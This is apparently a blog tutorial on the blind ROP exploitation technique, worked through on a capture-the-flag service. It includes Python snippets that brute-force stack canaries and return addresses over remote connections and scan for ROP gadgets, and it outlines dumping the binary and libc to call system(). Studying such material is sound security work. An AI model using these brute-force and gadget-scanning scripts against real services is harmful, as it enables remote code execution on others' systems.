x86_64 Blind Rop
Please read the disclaimer
Hoy, in this post I will introduce you to an advanced exploitation technique called blind rop
, so what is a blind rop?
“The BROP attack makes it possible to write exploits without possessing the target’s binary. It requires a stack overflow and a service that restarts after a crash. Based on whether a service crashes or not (i.e., connection closes or stays open), the BROP attack is able to construct a full remote exploit that leads to a shell.” [1]
TL;TR, blind rop is a technique used when we can’t get our hands on the vulnerable binary. I will divide this attack into parts:
- Looking for a vulnerability.
- Extracting critical intel like canaries, the return address, OLD stack frame pointer etc… .
- Searching for the right rop gadgets.
- Dumping the binary and libc.
I will illustrate this technique by using a binary rom a capture the flag competition, so let’s get started !
0) Looking for a vulnerability:
We first start by poking around, our goal is to find a vulnerability buffer overflow, format string vulnerability …
After fuzzing the binary, we can find that if we input a large buffer the service crashes and no more “Bye!” sadly.
This service has a buffer overflow vulnerability ! and the lenght of the buffer is 40 bytes give it more and it crashes.
1) Extracting critical intel:
Our next goal is to leak critical intel from the stack, like canaries if the binary has a stack smashing protection
, the return address, and the old stack frame pointer.
To do so we will have to bruteforce byte by byte, if we receive the “Bye!” that means its the correct byte. Here is a small snippet of code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def bruteforce():
for j in range(0, 8*3):
for i in range(0, 256):
if i == 10: # the service is using a function that stop reading when it hits a new line
continue
r = remote(host, port, level='ERROR')
payload = 'A'*40 + data + chr(i)
r.recvuntil('(chocolate/beer/hamburger): ')
r.send(payload)
r.recvuntil('are out of stock\n')
try:
recved = r.recv(128, timeout=5)
except Exception:
r.close()
continue
if 'Bye!' in recved:
data += chr(i)
print list(data)
r.close()
break
r.close()
With this we can extract most information we need
2) Searching for the right rop gadgets:
To build our exploit we will need some important rop gadgets like: pop rdi;ret
pop rsi;pop r15;ret
to be able to pass the first 2 arguments to functions.
So our goal is to find those gadgets inside the binary, we can either start our scanning from the binary base, or from the return address. The idea is to chain a rop gadget like the following:
pop_rdi_ret candidate
+ random 8 bytes
+ the original return address
pop_rsi__r15_ret candidate
+ random 8 bytes
+ random 8 bytes
+ the original return address
and use “Bye!” as a reference of success !
Here is a small snippet of code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def find_rops(addr):
global data
global rops
while True:
r = remote(host, port, level='ERROR')
# for pop rdi ; ret
payload = 'A'*40 + canary + ebp + p64(addr) + p64(0) + ret_address
# for pop rsi ; pop r15 ; ret
payload = 'A'*40 + canary + ebp + p64(addr) + p64(0) + p64(0) + ret_address
r.recvuntil('(chocolate/beer/hamburger): ')
r.send(payload)
r.recvuntil('are out of stock\n')
try:
recved =''
recved = r.recv(128, timeout=7)
print recved
except Exception:
addr += 1
r.close()
continue
if 'Bye!' in recved:
if hex(addr & 0xffff) not in not_rops:
rops.append(hex(addr & 0xfff))
r.close()
addr += 1
This gives us 2 lists of candidates, one for pop rdi;ret
and another one for pop rsi;pop r15;ret
.
Now we have to figure out which ones are the one we need, right?.
3) Dumping the binary and libc:
The idea is to bruteforce the binary starting from the return address until we reach the got entry for a function that sends data back to us, like write
, send
etc…
To do so, will combine the 2 lists of candidate gadgets, and build a rop chain that send us data. Let’s illustrate this with some algorithmic:
After finding the right address for a send function, and the right rop gadgets, we can start dumping libc and the binary from memory for future gadgets like syscall
, pop rdx
or we can simply call system function from libc.
With all this information, building an exploit is trivial, you can find a copy of the binary here.